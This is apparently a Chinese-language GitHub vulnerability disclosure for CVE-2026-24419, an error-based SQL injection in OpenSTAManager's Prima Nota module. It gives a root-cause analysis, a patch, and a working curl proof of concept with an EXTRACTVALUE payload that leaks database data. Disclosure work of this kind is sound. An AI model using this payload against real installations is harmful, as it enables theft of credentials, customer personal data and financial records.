lukasz-rybak/CVE-2026-24419

GitHub: lukasz-rybak/CVE-2026-24419

该项目针对 OpenSTAManager 的 Prima Nota 模块,提供了 SQL 注入漏洞 CVE-2026-24419 的技术细节、利用代码及修复方案。

Stars: 0 | Forks: 0

# CVE-2026-24419: OpenSTAManager 在 Prima Nota 模块中存在 SQL 注入漏洞 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-24419](https://nvd.nist.gov/vuln/detail/CVE-2026-24419) | | **严重程度** | HIGH | | **安全公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **devcode-it/openstamanager** (版本: <= 2.9.8) ## CWE 分类 - CWE-89: SQL 命令中使用的特殊元素未正确中和 ('SQL 注入') ## 详细信息 ### 摘要 OpenSTAManager v2.9.8 的 Prima Nota (日记账分录/凭证) 模块中存在严重的基于错误的 SQL 注入漏洞,允许经过身份验证的攻击者通过将恶意 SQL 注入到 URL 参数中,利用 XML 错误消息提取完整的数据库内容,包括用户凭据、客户个人身份信息 (PII) 和财务记录。 **状态:** ✅ 已在真实环境 (v2.9.8) 中确认并测试 **漏洞参数:** `id_documenti` (GET 参数) **受影响端点:** `/modules/primanota/add.php` **攻击类型:** 基于错误的 SQL 注入 (IN 子句) ### 详情 OpenSTAManager v2.9.8 在其 Prima Nota (日记账分录) 模块的 add.php 文件中包含严重的基于错误的 SQL 注入漏洞。该应用程序未能在将来自 GET 参数的逗号分隔值用于 SQL IN() 子句之前验证它们是否为整数,从而允许攻击者注入任意 SQL 命令并通过 XPATH 错误消息提取敏感数据。 **漏洞链:** 1. **入口点:** `/modules/primanota/add.php` (第 63-67 行) $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; **影响:** `get()` 函数获取用户控制的 URL 参数,`explode(',', (string) ...)` 按逗号分割它们,但**没有**验证确保元素是整数。 2. **SQL 注入点:** `/modules/primanota/add.php` (第 306 行) $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica']; **影响:** 来自 `$id_documenti` 的数组元素直接使用 `implode()` 进行拼接,没有进行类型验证或使用 `prepare()`,从而实现了完全的 SQL 注入。 **根本原因分析:** 存在此漏洞是因为: 1. `get('id_documenti')` 返回用户控制的字符串 2. `explode(',', (string) $value)` 按逗号分割但不验证类型 3. `implode(',', $array)` 将数组元素直接拼接到 SQL 中 4. 没有验证确保数组元素是整数 5. 攻击者可以通过提供以下内容注入 SQL:`?id_documenti=1) AND EXTRACTVALUE(...) %23` **受影响的代码路径:** ``` GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD ↓ add.php:63 - $id_documenti = get('id_documenti') ↓ add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION] ↓ add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT] ``` ### PoC **步骤 1: 登录** ``` curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **步骤 2: 验证漏洞 (基于错误的 SQL 注入)** **测试 1: 提取数据库用户和版本** ``` curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23" ``` **响应 (攻击者可见的错误消息):** ``` SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~osm@172.18.0.3 | 8.3.0' ``` image ### 影响 所有有权访问 Prima Nota (日记账分录) 模块的已认证用户。 ### 建议修复方案 **主要修复 - 类型验证:** 文件: `/modules/primanota/add.php` **修复前 (存在漏洞 - 第 63-67 行):** ``` $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; ``` **修复后:** ``` $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; // Validate that all array elements are integers $id_documenti = array_map('intval', $id_documenti); $id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs ``` ## 参考资料 - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6 - https://nvd.nist.gov/vuln/detail/CVE-2026-24419 - https://github.com/advisories/GHSA-4j2x-jh4m-fqv6 ## 免责声明 此 CVE 遵循协调漏洞披露 (Coordinated Vulnerability Disclosure) 实践进行了负责任的披露。此处提供的信息仅用于教育和防御目的。
标签:CISA项目, CVE-2026-24419, CWE-89, GET参数, OpenSTAManager, OpenTelemetry, PHP漏洞, PrimaNota模块, Web安全, XPATH错误, 多线程, 密码管理, 报错注入, 数据泄露, 漏洞分析, 网络安全, 蓝队分析, 越权访问, 路径探测, 隐私保护, 高危漏洞